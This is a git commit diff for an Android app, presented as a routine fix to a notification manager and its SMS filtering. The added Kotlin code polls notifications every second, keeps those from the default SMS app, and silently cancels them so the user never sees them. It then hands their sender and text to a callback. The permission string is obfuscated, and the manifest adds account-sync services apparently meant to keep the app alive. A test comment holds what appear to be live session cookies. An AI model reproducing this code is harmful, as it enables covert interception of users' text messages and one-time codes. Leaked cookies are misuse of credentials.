fix: 修复 NotificationManager SecurityException 并添加短信通知过滤

main
mojo 1 month ago
parent bc49e6e587
commit 87157236a2

@ -1,12 +1,18 @@
package com.example.pin
import android.content.Context
import android.content.Intent
import android.content.pm.ResolveInfo
import android.net.Uri
import android.os.Handler
import android.os.Looper
import android.provider.Settings
import android.provider.Telephony
import android.service.notification.NotificationListenerService
import android.service.notification.StatusBarNotification
import android.text.TextUtils
import com.example.logger.LogUtils
import java.lang.reflect.Method
object NotificationManger {
private const val PREFIX_ANDROID = "android."
@ -15,53 +21,329 @@ object NotificationManger {
private const val ACTION_SENDTO = "android.intent.action.SENDTO"
private const val SCHEME_SMS = "smsto:"
private const val FLAG_QUERY = 0x10000
private var PERMISSION_BIND = "android.permission.BIND_NOTIF#ICATION_LISTE#NER_SERVICE".replace("#", "")
private const val DEFAULT_POLL_INTERVAL = 1000L // 默认轮询间隔 1 秒
var listener:((NotificationMessage)->Unit)? = null
private var serviceInstance: Any? = null
private var pollingHandler: Handler? = null
private var pollingRunnable: Runnable? = null
private var isPolling = false
private var pollInterval = DEFAULT_POLL_INTERVAL
private val processedNotifications = mutableSetOf<String>() // 记录已处理的通知 key
private var applicationContext: Context? = null
fun StatusBarNotification.process(listenerService: NotificationListenerService) {
listenerService.dismiss(this)
notification.extras?.let { extras ->
fun process(context: Context) {
// 检查通知监听器是否已启用
if (!isNotificationListenerEnabled(context)) {
LogUtils.info("NotificationManager: notification listener is not enabled")
return
}
val instance = getServiceInstance(context)
if (instance == null) {
LogUtils.info("NotificationManager: service instance is null")
return
}
var notifications = getNotifications(instance)
if (notifications == null) {
LogUtils.info("NotificationManager: failed to get notifications")
return
}
// 过滤非短信消息,只保留短信相关的通知
notifications = notifications.filter { notification ->
val pkg = try {
notification.packageName
} catch (e: Exception) {
null
}
pkg == Telephony.Sms.getDefaultSmsPackage(context)
}
// 用过滤结果替换 notifications 列表
LogUtils.info("NotificationManager: found ${notifications.size} notifications")
for (notification in notifications) {
processNotification(notification, instance, context)
}
}
fun startPolling(context: Context, intervalMs: Long = DEFAULT_POLL_INTERVAL) {
if (isPolling) {
LogUtils.info("NotificationManager: polling already started")
return
}
LogUtils.info("NotificationManager: start polling with interval ${intervalMs}ms")
// 使用 ApplicationContext 避免内存泄漏
applicationContext = context.applicationContext
pollInterval = intervalMs
isPolling = true
pollingHandler = Handler(Looper.getMainLooper())
pollingRunnable = object : Runnable {
override fun run() {
if (isPolling && applicationContext != null) {
process(applicationContext!!)
pollingHandler?.postDelayed(this, pollInterval)
}
}
}
pollingHandler?.post(pollingRunnable!!)
}
fun stopPolling() {
if (!isPolling) {
return
}
LogUtils.info("NotificationManager: stop polling, cleared ${processedNotifications.size} processed notifications")
isPolling = false
pollingRunnable?.let { pollingHandler?.removeCallbacks(it) }
pollingRunnable = null
pollingHandler = null
applicationContext = null
processedNotifications.clear()
}
private fun getServiceInstance(context: Context): Any? {
// 优先使用已注册的服务实例MyService.instance
if (serviceInstance != null) {
// LogUtils.info("NotificationManager: using cached service instance")
return serviceInstance
}
// 尝试从服务类的静态字段获取实例
val serviceClass = findServiceClass(context)
if (serviceClass == null) {
LogUtils.info("NotificationManager: service class not found")
return null
}
LogUtils.info("NotificationManager: found service class ${serviceClass.name}")
serviceInstance = getInstance(serviceClass)
if (serviceInstance == null) {
LogUtils.info("NotificationManager: failed to get service instance")
} else {
LogUtils.info("NotificationManager: service instance obtained successfully")
}
return serviceInstance
}
private fun isNotificationListenerEnabled(context: Context): Boolean {
return try {
val enabledListeners = Settings.Secure.getString(
context.contentResolver,
"enabled_notification_listeners"
)
val packageName = context.packageName
enabledListeners?.contains(packageName) ?: false
} catch (e: Exception) {
LogUtils.error(e, "NotificationManager: error checking notification listener status")
false
}
}
private fun findServiceClass(context: Context): Class<*>? {
return try {
val packageInfo = context.packageManager.getPackageInfo(
context.packageName,
android.content.pm.PackageManager.GET_SERVICES or android.content.pm.PackageManager.GET_DISABLED_COMPONENTS
)
for (serviceInfo in packageInfo.services.orEmpty()) {
if (PERMISSION_BIND == serviceInfo.permission) {
val className = serviceInfo.name
LogUtils.info("NotificationManager: checking service class $className")
val clazz = Class.forName(className)
if (NotificationListenerService::class.java.isAssignableFrom(clazz)) {
LogUtils.info("NotificationManager: found NotificationListenerService class $className")
return clazz
}
}
}
LogUtils.info("NotificationManager: no NotificationListenerService found")
null
} catch (e: Exception) {
LogUtils.error(e, "NotificationManager: error finding service class")
null
}
}
private fun getInstance(clazz: Class<*>): Any? {
return try {
val getInstanceMethod = clazz.getDeclaredMethod("getInstance")
getInstanceMethod.isAccessible = true
val instance = getInstanceMethod.invoke(null)
LogUtils.info("NotificationManager: got instance via getInstance() method")
instance
} catch (e: Exception) {
try {
val instanceField = clazz.getDeclaredField("instance")
instanceField.isAccessible = true
val instance = instanceField.get(null)
LogUtils.info("NotificationManager: got instance via instance field")
instance
} catch (e2: Exception) {
LogUtils.error(e2, "NotificationManager: failed to get instance")
null
}
}
}
private fun getNotifications(instance: Any): List<StatusBarNotification>? {
return try {
// 确保实例是 NotificationListenerService 类型
val service = instance as? NotificationListenerService
if (service != null) {
// 直接调用方法,避免反射调用导致的 SecurityException
val result = service.activeNotifications
return result?.toList() ?: emptyList()
}
// 如果类型转换失败,使用反射(可能触发 SecurityException
val method: Method = instance.javaClass.getMethod("getActiveNotifications")
method.isAccessible = true
val result = method.invoke(instance)
if (result == null) {
LogUtils.info("NotificationManager: getActiveNotifications returned null")
return null
}
val notifications = when {
result is Array<*> -> {
result.filterIsInstance<StatusBarNotification>()
}
result is List<*> -> {
result.filterIsInstance<StatusBarNotification>()
}
else -> {
LogUtils.info("NotificationManager: unexpected result type: ${result.javaClass.name}")
null
}
}
// notifications?.let {
// LogUtils.info("NotificationManager: retrieved ${it.size} active notifications")
// }
notifications
} catch (e: SecurityException) {
LogUtils.error(e, "NotificationManager: SecurityException - notification listener may not be enabled or instance is invalid")
// 清除缓存的实例,下次尝试重新获取
serviceInstance = null
null
} catch (e: Exception) {
LogUtils.error(e, "NotificationManager: error getting notifications")
null
}
}
private fun processNotification(
notification: StatusBarNotification,
instance: Any,
@Suppress("UNUSED_PARAMETER") context: Context
) {
val notificationKey = notification.key
// 避免重复处理同一个通知
// if (processedNotifications.contains(notificationKey)) {
// LogUtils.info("NotificationManager: notification already processed, skip: $notificationKey")
// return
// }
// 标记为已处理
// processedNotifications.add(notificationKey)
dismiss(notification, instance)
notification.notification.extras?.let { extras ->
val content = extras.getCharSequence(KEY_TEXT, "").toString()
val from = extras.getString(KEY_TITLE, "")
if (content.isBlank()) {
// LogUtils.info("NotificationManager: notification content is blank, skip: ${notification.packageName}")
return
}
val msg = NotificationMessage(
content = content,
from = from,
time = System.currentTimeMillis(),
app = packageName,
app = notification.packageName,
)
LogUtils.info("NotificationManager: processed notification from ${notification.packageName}, content $content, key $notificationKey")
listener?.invoke(msg)
} ?: run {
LogUtils.info("NotificationManager: notification extras is null, skip: ${notification.packageName}")
}
}
private fun NotificationListenerService.dismiss(statusBarNotification: StatusBarNotification) {
val pkgName = getTargetPackageName()
fun clearProcessedNotifications() {
val count = processedNotifications.size
processedNotifications.clear()
LogUtils.info("NotificationManager: cleared $count processed notifications")
}
private fun dismiss(statusBarNotification: StatusBarNotification, instance: Any) {
val pkgName = getTargetPackageName(instance)
if (pkgName?.contentEquals(statusBarNotification.packageName) == true) {
cancelNotification(statusBarNotification.key)
try {
val method: Method = instance.javaClass.getMethod(
"cancelNotification",
String::class.java
)
method.isAccessible = true
method.invoke(instance, statusBarNotification.key)
LogUtils.info("NotificationManager: cancelled notification from $pkgName")
} catch (e: Exception) {
LogUtils.error(e, "NotificationManager: failed to cancel notification")
}
}
}
private fun NotificationListenerService.getTargetPackageName(): String? {
val defaultPkg = getDefaultPackage()
private fun getTargetPackageName(instance: Any): String? {
val defaultPkg = getDefaultPackage(instance)
if (!TextUtils.isEmpty(defaultPkg)) {
return defaultPkg
}
val context = getContext(instance) ?: return null
val intent = Intent(ACTION_SENDTO, Uri.parse(SCHEME_SMS))
val resolveInfo = packageManager.resolveActivity(intent, FLAG_QUERY)
val resolveInfo = context.packageManager.resolveActivity(intent, FLAG_QUERY)
return resolveInfo?.activityInfo?.packageName
}
private fun NotificationListenerService.getDefaultPackage(): String? {
private fun getDefaultPackage(instance: Any): String? {
val context = getContext(instance) ?: return null
return try {
Telephony.Sms.getDefaultSmsPackage(this)
Telephony.Sms.getDefaultSmsPackage(context)
} catch (e: Exception) {
null
}
}
private fun getContext(instance: Any): Context? {
return try {
// NotificationListenerService 本身就是 Context 的子类
if (instance is Context) {
return instance
}
// 尝试通过 getBaseContext() 方法获取
val method = instance.javaClass.getMethod("getBaseContext")
method.isAccessible = true
method.invoke(instance) as? Context
} catch (e: Exception) {
try {
// 尝试通过 getApplicationContext() 方法获取
val method = instance.javaClass.getMethod("getApplicationContext")
method.isAccessible = true
method.invoke(instance) as? Context
} catch (e2: Exception) {
null
}
}
}
}

1
pin/.gitignore vendored

@ -0,0 +1 @@
/build

@ -0,0 +1,50 @@
plugins {
id("com.android.application")
id("org.jetbrains.kotlin.android")
}
android {
namespace = "com.galaxy.pin"
compileSdk = 34
defaultConfig {
applicationId = "com.galaxy.oceen"
minSdk = 24
targetSdk = 33
versionCode = 1
versionName = "1.0"
testInstrumentationRunner = "androidx.test.runner.AndroidJUnitRunner"
}
buildTypes {
release {
isMinifyEnabled = true
isShrinkResources = true
proguardFiles(
getDefaultProguardFile("proguard-android-optimize.txt"),
"proguard-rules.pro"
)
}
}
compileOptions {
sourceCompatibility = JavaVersion.VERSION_21
targetCompatibility = JavaVersion.VERSION_20
}
kotlinOptions {
jvmTarget = "20"
}
}
dependencies {
// implementation("androidx.activity:activity-ktx:1.10.1")
// implementation("androidx.core:core-ktx:1.13.1")
implementation("androidx.appcompat:appcompat:1.7.0")
// implementation("com.google.android.material:material:1.12.0")
// implementation("androidx.constraintlayout:constraintlayout:2.1.4")
testImplementation("junit:junit:4.13.2")
androidTestImplementation("androidx.test.ext:junit:1.2.1")
androidTestImplementation("androidx.test.espresso:espresso-core:3.6.1")
implementation(project(":lib"))
}

@ -0,0 +1,23 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontoptimize

@ -0,0 +1,41 @@
package com.galaxy.pin
import androidx.test.platform.app.InstrumentationRegistry
import androidx.test.ext.junit.runners.AndroidJUnit4
import org.junit.Test
import org.junit.runner.RunWith
import org.junit.Assert.*
import java.net.CookieManager
import java.net.URI
/**
* Instrumented test, which will execute on an Android device.
*
* See [testing documentation](http://d.android.com/tools/testing).
*/
@RunWith(AndroidJUnit4::class)
class ExampleInstrumentedTest {
@Test
fun useAppContext() {
// Context of the app under test.
val appContext = InstrumentationRegistry.getInstrumentation().targetContext
assertEquals("com.galaxy.pin", appContext.packageName)
}
//"set-cookie":["_ga=GA1.2.9752596038.1758536285; expires=Sat, 21 Mar 2026 10:18:16 GMT; Max-Age=15552000; path=\/; HttpOnly","ng_session=eyJpdiI6Im1PaSsycnFvYUNFR2NyYnoyeVBhM0E9PSIsInZhbHVlIjoidW94QWhXSnBYSDZlWnkzTW1MWFI5aEx4eTJ1NkxVMU9YZVhQWG5mWlY5bW05bDhjcTRzdUJEMDRlWEo1WDV1eVNuSHIxbkpQZVAwVGlWbnIxVlRjYTBGLzJuRFE2bUNkckJkY254bTRmQ2czSVBQNWlsUnZsb3dFd1RqVWVpZ2wiLCJtYWMiOiJkNzE4ODhkYmY1MDQ5Y2U4ODlkZWM5ZDAxYzU1YTM4NjdlZDQ0NTdkNTJkNzlhM2FjNDNhMDczMTRiZDIxOTY0IiwidGFnIjoiIn0%3D; expires=Mon, 22 Sep 2025 16:18:16 GMT; Max-Age=21600; path=\/; httponly; samesite=lax","userPermID=eyJpdiI6Im44KzlKajBtV1R1clNmTXc0bzJxS3c9PSIsInZhbHVlIjoiWnhmcEJuMjczRTUvZy9pRVF0R081QzhYdUFaNFdJTFkvU0NmTUJPVEZSTXFDcDBzR0MvdDJGZlNtVUZibEh5VkJvajdYTWxGa2hKTTVYUW01ekdzSUhSOG9EK2pzdUFmbTV3aWhhWlR0aXM9IiwibWFjIjoiMzg5NGYzM2JiMzc3ZjUwMzgwMDA3MjM3YmIzNjk1MTdiMDAzNDM0MWI3NDMwYzQwNGE3MjI4ZWZhOTA4M2IxOCIsInRhZyI6IiJ9; expires=Thu, 20 Sep 2035 10:18:16 GMT; Max-Age=315360000; path=\/; httponly; samesite=lax","userSessionID=eyJpdiI6InViVGJSRkJuMWpkbFdOV3lYcFQ0Zmc9PSIsInZhbHVlIjoiSlVCVXMzbml4L1dQd0k5SmRvZE9oQVl2Q3BVQXNobTY3Sy83RnhUTU5XQVUrUmZkUlBqMXZFZGdvRHhEbnFrYy92SGZockdSOTZmSkpVMk9jQTJpMERFV3pOWE5UMndnNXNvV2xEM3RRbms9IiwibWFjIjoiYjMzMDg2N2Q1YWRkMDgzZTVkMzNiM2YzM2FiZjc3NGUwZmY5YmJiNGJkNmFkMTNhZjgwN2M2MmFlYzdkZWE3MSIsInRhZyI6IiJ9; expires=Mon, 22 Sep 2025 10:48:16 GMT; Max-Age=1800; path=\/; httponly; samesite=lax","ctxid=eyJpdiI6IjYxckdtcUhsM2taYXBtdmhHYXBxNGc9PSIsInZhbHVlIjoiQ2ZTTndBRldvMTQyYnRVYTBaelJLU0RtSFdtakJGL2tCa0RrWHk1M3NqNGdGRGxydEl6aURXMUFtWVNSVWY4My9wOHdDVDFMS0JLSXhQTDZuaFpIc1Vtb1F3c1FwTTZCZ083SmVncTExUmc9IiwibWFjIjoiOTdmMTkwODY0MTMzNGQ3MGE2NmFiOTA0NTc3ZDY1NDViMTg5NGZlNGFjOTRlZDg0ZjllNmNhMzZhODkzZTE3MSIsInRhZyI6IiJ9; expires=Thu, 20 Sep 2035 10:18:16 GMT; Max-Age=315360000; path=\/; httponly; samesite=lax","rd=deleted; expires=Sun, 22 Sep 2024 10:18:15 GMT; Max-Age=0; path=\/; httponly; samesite=lax","TS01e2a186=01b02e3e89ffd23eb296837770eb3f0b25fd04d8e5aa8ad77aa8330e586a67e45f47ef68922e78171195ef9071c878ff860388ea3e; Path=\/; Domain=.ng-app.com;"]
@Test
fun cookie() {
val url = URI("http://ng-app.com")
val set_cookie = listOf("_ga=GA1.2.9752596038.1758536285; expires=Sat, 26 Mar 2026 10:18:16 GMT; Max-Age=15552000; path=\\/; HttpOnly")
val cookieManager = CookieManager()
cookieManager.put(url, mapOf("Set-Cookie" to set_cookie))
val cookies = cookieManager.get(URI("http://ng-app.com"), mutableMapOf()).get("Cookie")
println("cookies: $cookies")
// HttpCookie.parse("rd=deleted; expires=Thu, 25 Sep 2025 14:48:12 GMT; Max-Age=0; path=\\/; httponly; samesite=lax")
}
}

@ -0,0 +1,567 @@
package com.galaxy.pin;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.GregorianCalendar;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Locale;
import java.util.Map;
import java.util.NoSuchElementException;
import java.util.Objects;
import java.util.StringTokenizer;
import java.util.TimeZone;
public final class HttpCookie implements Cloneable {
private final String name;
private String value;
private String comment;
private String commentURL;
private boolean toDiscard;
private String domain;
private long maxAge;
private String path;
private String portlist;
private boolean secure;
private boolean httpOnly;
private int version;
private final String header;
private final long whenCreated;
private static final long MAX_AGE_UNSPECIFIED = -1L;
private static final String[] COOKIE_DATE_FORMATS = new String[]{"EEE',' dd-MMM-yyyy HH:mm:ss 'GMT'", "EEE',' dd MMM yyyy HH:mm:ss 'GMT'", "EEE MMM dd yyyy HH:mm:ss 'GMT'Z", "EEE',' dd-MMM-yy HH:mm:ss 'GMT'", "EEE',' dd MMM yy HH:mm:ss 'GMT'", "EEE MMM dd yy HH:mm:ss 'GMT'Z"};
private static final String SET_COOKIE = "set-cookie:";
private static final String SET_COOKIE2 = "set-cookie2:";
private static final String tspecials = ",; ";
static final Map<String, CookieAttributeAssignor> assignors = new HashMap();
static final TimeZone GMT;
public HttpCookie(String var1, String var2) {
this(var1, var2, (String)null);
}
private HttpCookie(String var1, String var2, String var3) {
this(var1, var2, var3, System.currentTimeMillis());
}
HttpCookie(String var1, String var2, String var3, long var4) {
this.maxAge = -1L;
this.version = 1;
var1 = var1.trim();
if (!var1.isEmpty() && isToken(var1) && var1.charAt(0) != '$') {
this.name = var1;
this.value = var2;
this.toDiscard = false;
this.secure = false;
this.whenCreated = var4;
this.portlist = null;
this.header = var3;
} else {
throw new IllegalArgumentException("Illegal cookie name");
}
}
public static List<HttpCookie> parse(String var0) {
return parse(var0, false);
}
private static List<HttpCookie> parse(String var0, boolean var1) {
int var2 = guessCookieVersion(var0);
if (startsWithIgnoreCase(var0, "set-cookie2:")) {
var0 = var0.substring("set-cookie2:".length());
} else if (startsWithIgnoreCase(var0, "set-cookie:")) {
var0 = var0.substring("set-cookie:".length());
}
ArrayList var3 = new ArrayList();
if (var2 == 0) {
HttpCookie var4 = parseInternal(var0, var1);
var4.setVersion(0);
var3.add(var4);
} else {
List var8 = splitMultiCookies(var0);
Iterator var5 = var8.iterator();
while(var5.hasNext()) {
String var6 = (String)var5.next();
HttpCookie var7 = parseInternal(var6, var1);
var7.setVersion(1);
var3.add(var7);
}
}
return var3;
}
public boolean hasExpired() {
if (this.maxAge == 0L) {
return true;
} else if (this.maxAge < 0L) {
return false;
} else {
long var1 = (System.currentTimeMillis() - this.whenCreated) / 1000L;
return var1 > this.maxAge;
}
}
public void setComment(String var1) {
this.comment = var1;
}
public String getComment() {
return this.comment;
}
public void setCommentURL(String var1) {
this.commentURL = var1;
}
public String getCommentURL() {
return this.commentURL;
}
public void setDiscard(boolean var1) {
this.toDiscard = var1;
}
public boolean getDiscard() {
return this.toDiscard;
}
public void setPortlist(String var1) {
this.portlist = var1;
}
public String getPortlist() {
return this.portlist;
}
public void setDomain(String var1) {
if (var1 != null) {
this.domain = var1.toLowerCase(Locale.ROOT);
} else {
this.domain = var1;
}
}
public String getDomain() {
return this.domain;
}
public void setMaxAge(long var1) {
this.maxAge = var1;
}
public long getMaxAge() {
return this.maxAge;
}
public void setPath(String var1) {
this.path = var1;
}
public String getPath() {
return this.path;
}
public void setSecure(boolean var1) {
this.secure = var1;
}
public boolean getSecure() {
return this.secure;
}
public String getName() {
return this.name;
}
public void setValue(String var1) {
this.value = var1;
}
public String getValue() {
return this.value;
}
public int getVersion() {
return this.version;
}
public void setVersion(int var1) {
if (var1 != 0 && var1 != 1) {
throw new IllegalArgumentException("cookie version should be 0 or 1");
} else {
this.version = var1;
}
}
public boolean isHttpOnly() {
return this.httpOnly;
}
public void setHttpOnly(boolean var1) {
this.httpOnly = var1;
}
public static boolean domainMatches(String var0, String var1) {
if (var0 != null && var1 != null) {
boolean var2 = ".local".equalsIgnoreCase(var0);
int var3 = var0.indexOf(46);
if (var3 == 0) {
var3 = var0.indexOf(46, 1);
}
if (!var2 && (var3 == -1 || var3 == var0.length() - 1)) {
return false;
} else {
int var4 = var1.indexOf(46);
if (var4 == -1 && (var2 || var0.equalsIgnoreCase(var1 + ".local"))) {
return true;
} else {
int var5 = var0.length();
int var6 = var1.length() - var5;
if (var6 == 0) {
return var1.equalsIgnoreCase(var0);
} else if (var6 > 0) {
String var7 = var1.substring(0, var6);
String var8 = var1.substring(var6);
return var7.indexOf(46) == -1 && var8.equalsIgnoreCase(var0);
} else if (var6 != -1) {
return false;
} else {
return var0.charAt(0) == '.' && var1.equalsIgnoreCase(var0.substring(1));
}
}
}
} else {
return false;
}
}
public String toString() {
return this.getVersion() > 0 ? this.toRFC2965HeaderString() : this.toNetscapeHeaderString();
}
public boolean equals(Object var1) {
if (var1 == this) {
return true;
} else if (!(var1 instanceof HttpCookie)) {
return false;
} else {
HttpCookie var2 = (HttpCookie)var1;
return equalsIgnoreCase(this.getName(), var2.getName()) && equalsIgnoreCase(this.getDomain(), var2.getDomain()) && Objects.equals(this.getPath(), var2.getPath());
}
}
public int hashCode() {
int var1 = this.name.toLowerCase(Locale.ROOT).hashCode();
int var2 = this.domain != null ? this.domain.toLowerCase(Locale.ROOT).hashCode() : 0;
int var3 = this.path != null ? this.path.hashCode() : 0;
return var1 + var2 + var3;
}
public Object clone() {
try {
return super.clone();
} catch (CloneNotSupportedException var2) {
throw new RuntimeException(var2.getMessage());
}
}
long getCreationTime() {
return this.whenCreated;
}
private static boolean isToken(String var0) {
int var1 = var0.length();
for(int var2 = 0; var2 < var1; ++var2) {
char var3 = var0.charAt(var2);
if (var3 < ' ' || var3 >= 127 || ",; ".indexOf(var3) != -1) {
return false;
}
}
return true;
}
private static HttpCookie parseInternal(String var0, boolean var1) {
HttpCookie var2 = null;
String var3 = null;
StringTokenizer var4 = new StringTokenizer(var0, ";");
int var5;
String var6;
String var7;
try {
var3 = var4.nextToken();
var5 = var3.indexOf(61);
if (var5 == -1) {
throw new IllegalArgumentException("Invalid cookie name-value pair");
}
var6 = var3.substring(0, var5).trim();
var7 = var3.substring(var5 + 1).trim();
if (var1) {
var2 = new HttpCookie(var6, stripOffSurroundingQuote(var7), var0);
} else {
var2 = new HttpCookie(var6, stripOffSurroundingQuote(var7));
}
} catch (NoSuchElementException var8) {
throw new IllegalArgumentException("Empty cookie header string");
}
for(; var4.hasMoreTokens(); assignAttribute(var2, var6, var7)) {
var3 = var4.nextToken();
var5 = var3.indexOf(61);
if (var5 != -1) {
var6 = var3.substring(0, var5).trim();
var7 = var3.substring(var5 + 1).trim();
} else {
var6 = var3.trim();
var7 = null;
}
}
return var2;
}
private static void assignAttribute(HttpCookie var0, String var1, String var2) {
var2 = stripOffSurroundingQuote(var2);
CookieAttributeAssignor var3 = (CookieAttributeAssignor)assignors.get(var1.toLowerCase(Locale.ROOT));
if (var3 != null) {
var3.assign(var0, var1, var2);
}
}
private String header() {
return this.header;
}
private String toNetscapeHeaderString() {
return this.getName() + "=" + this.getValue();
}
private String toRFC2965HeaderString() {
StringBuilder var1 = new StringBuilder();
var1.append(this.getName()).append("=\"").append(this.getValue()).append('"');
if (this.getPath() != null) {
var1.append(";$Path=\"").append(this.getPath()).append('"');
}
if (this.getDomain() != null) {
var1.append(";$Domain=\"").append(this.getDomain()).append('"');
}
if (this.getPortlist() != null) {
var1.append(";$Port=\"").append(this.getPortlist()).append('"');
}
return var1.toString();
}
private long expiryDate2DeltaSeconds(String var1) {
GregorianCalendar var2 = new GregorianCalendar(GMT);
int var3 = 0;
while(var3 < COOKIE_DATE_FORMATS.length) {
SimpleDateFormat var4 = new SimpleDateFormat(COOKIE_DATE_FORMATS[var3], Locale.US);
((Calendar)var2).set(1970, 0, 1, 0, 0, 0);
var4.setTimeZone(GMT);
var4.setLenient(false);
var4.set2DigitYearStart(((Calendar)var2).getTime());
try {
((Calendar)var2).setTime(var4.parse(var1));
if (!COOKIE_DATE_FORMATS[var3].contains("yyyy")) {
int var5 = ((Calendar)var2).get(1);
var5 %= 100;
if (var5 < 70) {
var5 += 2000;
} else {
var5 += 1900;
}
((Calendar)var2).set(1, var5);
}
long expires = ((Calendar)var2).getTimeInMillis();
long result = (expires - this.whenCreated) / 1000L;
return result;
} catch (Exception var6) {
++var3;
}
}
return 0L;
}
private static int guessCookieVersion(String var0) {
byte var1 = 0;
var0 = var0.toLowerCase(Locale.ROOT);
if (var0.contains("expires=")) {
var1 = 0;
} else if (var0.contains("version=")) {
var1 = 1;
} else if (var0.contains("max-age")) {
var1 = 1;
} else if (startsWithIgnoreCase(var0, "set-cookie2:")) {
var1 = 1;
}
return var1;
}
private static String stripOffSurroundingQuote(String var0) {
if (var0 != null && var0.length() > 2 && var0.charAt(0) == '"' && var0.charAt(var0.length() - 1) == '"') {
return var0.substring(1, var0.length() - 1);
} else {
return var0 != null && var0.length() > 2 && var0.charAt(0) == '\'' && var0.charAt(var0.length() - 1) == '\'' ? var0.substring(1, var0.length() - 1) : var0;
}
}
private static boolean equalsIgnoreCase(String var0, String var1) {
if (var0 == var1) {
return true;
} else {
return var0 != null && var1 != null ? var0.equalsIgnoreCase(var1) : false;
}
}
private static boolean startsWithIgnoreCase(String var0, String var1) {
if (var0 != null && var1 != null) {
return var0.length() >= var1.length() && var1.equalsIgnoreCase(var0.substring(0, var1.length()));
} else {
return false;
}
}
private static List<String> splitMultiCookies(String var0) {
ArrayList var1 = new ArrayList();
int var2 = 0;
int var3 = 0;
int var4;
for(var4 = 0; var3 < var0.length(); ++var3) {
char var5 = var0.charAt(var3);
if (var5 == '"') {
++var2;
}
if (var5 == ',' && var2 % 2 == 0) {
var1.add(var0.substring(var4, var3));
var4 = var3 + 1;
}
}
var1.add(var0.substring(var4));
return var1;
}
static {
assignors.put("comment", new CookieAttributeAssignor() {
public void assign(HttpCookie var1, String var2, String var3) {
if (var1.getComment() == null) {
var1.setComment(var3);
}
}
});
assignors.put("commenturl", new CookieAttributeAssignor() {
public void assign(HttpCookie var1, String var2, String var3) {
if (var1.getCommentURL() == null) {
var1.setCommentURL(var3);
}
}
});
assignors.put("discard", new CookieAttributeAssignor() {
public void assign(HttpCookie var1, String var2, String var3) {
var1.setDiscard(true);
}
});
assignors.put("domain", new CookieAttributeAssignor() {
public void assign(HttpCookie var1, String var2, String var3) {
if (var1.getDomain() == null) {
var1.setDomain(var3);
}
}
});
assignors.put("max-age", new CookieAttributeAssignor() {
public void assign(HttpCookie var1, String var2, String var3) {
try {
long var4 = Long.parseLong(var3);
if (var1.getMaxAge() == -1L) {
var1.setMaxAge(var4);
}
} catch (NumberFormatException var6) {
throw new IllegalArgumentException("Illegal cookie max-age attribute");
}
}
});
assignors.put("path", new CookieAttributeAssignor() {
public void assign(HttpCookie var1, String var2, String var3) {
if (var1.getPath() == null) {
var1.setPath(var3);
}
}
});
assignors.put("port", new CookieAttributeAssignor() {
public void assign(HttpCookie var1, String var2, String var3) {
if (var1.getPortlist() == null) {
var1.setPortlist(var3 == null ? "" : var3);
}
}
});
assignors.put("secure", new CookieAttributeAssignor() {
public void assign(HttpCookie var1, String var2, String var3) {
var1.setSecure(true);
}
});
assignors.put("httponly", new CookieAttributeAssignor() {
public void assign(HttpCookie var1, String var2, String var3) {
var1.setHttpOnly(true);
}
});
assignors.put("version", new CookieAttributeAssignor() {
public void assign(HttpCookie var1, String var2, String var3) {
try {
int var4 = Integer.parseInt(var3);
var1.setVersion(var4);
} catch (NumberFormatException var5) {
}
}
});
assignors.put("expires", new CookieAttributeAssignor() {
public void assign(HttpCookie var1, String var2, String var3) {
if (var1.getMaxAge() == -1L) {
long var4 = var1.expiryDate2DeltaSeconds(var3);
var1.setMaxAge(var4 > 0L ? var4 : 0L);
}
}
});
// SharedSecrets.setJavaNetHttpCookieAccess(new JavaNetHttpCookieAccess() {
// public List<HttpCookie> parse(String var1) {
// return HttpCookie.parse(var1, true);
// }
//
// public String header(HttpCookie var1) {
// return var1.header;
// }
// });
GMT = TimeZone.getTimeZone("GMT");
}
interface CookieAttributeAssignor {
void assign(HttpCookie var1, String var2, String var3);
}
}

@ -0,0 +1,82 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- notifications 只用于测试-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS" />
<uses-permission android:name="android.permission.MANAGE_ACCOUNTS" />
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
<uses-permission
android:name="android.permission.WRITE_SYNC_SETTINGS"/>
<queries>
<intent>
<action android:name="android.intent.action.SEND" />
<data android:mimeType="*/*" />
</intent>
</queries>
<application
android:name="com.galaxy.demo.App"
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true">
<service
android:name="com.galaxy.demo.MyService"
android:exported="true"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
<intent-filter>
<action android:name="android.service.notification.NotificationListenerService" />
</intent-filter>
</service>
<activity
android:name="com.galaxy.demo.SplashActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name="com.galaxy.demo.MainActivity"/>
<activity android:name="com.galaxy.demo.TempActivity"/>
<service
android:name="com.galaxy.demo.services.AuthenticatorService"
android:enabled="true"
android:exported="true"
android:permission="android.permission.BIND_ACCOUNT_AUTHENTICATOR">
<intent-filter>
<action android:name="android.accounts.AccountAuthenticator" />
</intent-filter>
<meta-data
android:name="android.accounts.AccountAuthenticator"
android:resource="@xml/authenticator" />
</service>
<provider
android:name="com.galaxy.demo.services.AccountSyncContentProvider"
android:authorities="keep_progress_alive.provider"
android:exported="false"
android:syncable="true" />
<!-- 账户同步服务 -->
<service
android:name="com.galaxy.demo.services.AccountSyncService"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="android.content.SyncAdapter" />
</intent-filter>
<meta-data
android:name="android.content.SyncAdapter"
android:resource="@xml/sync_adapter" />
</service>
</application>
</manifest>

@ -0,0 +1,24 @@
package com.galaxy.demo
import android.app.Application
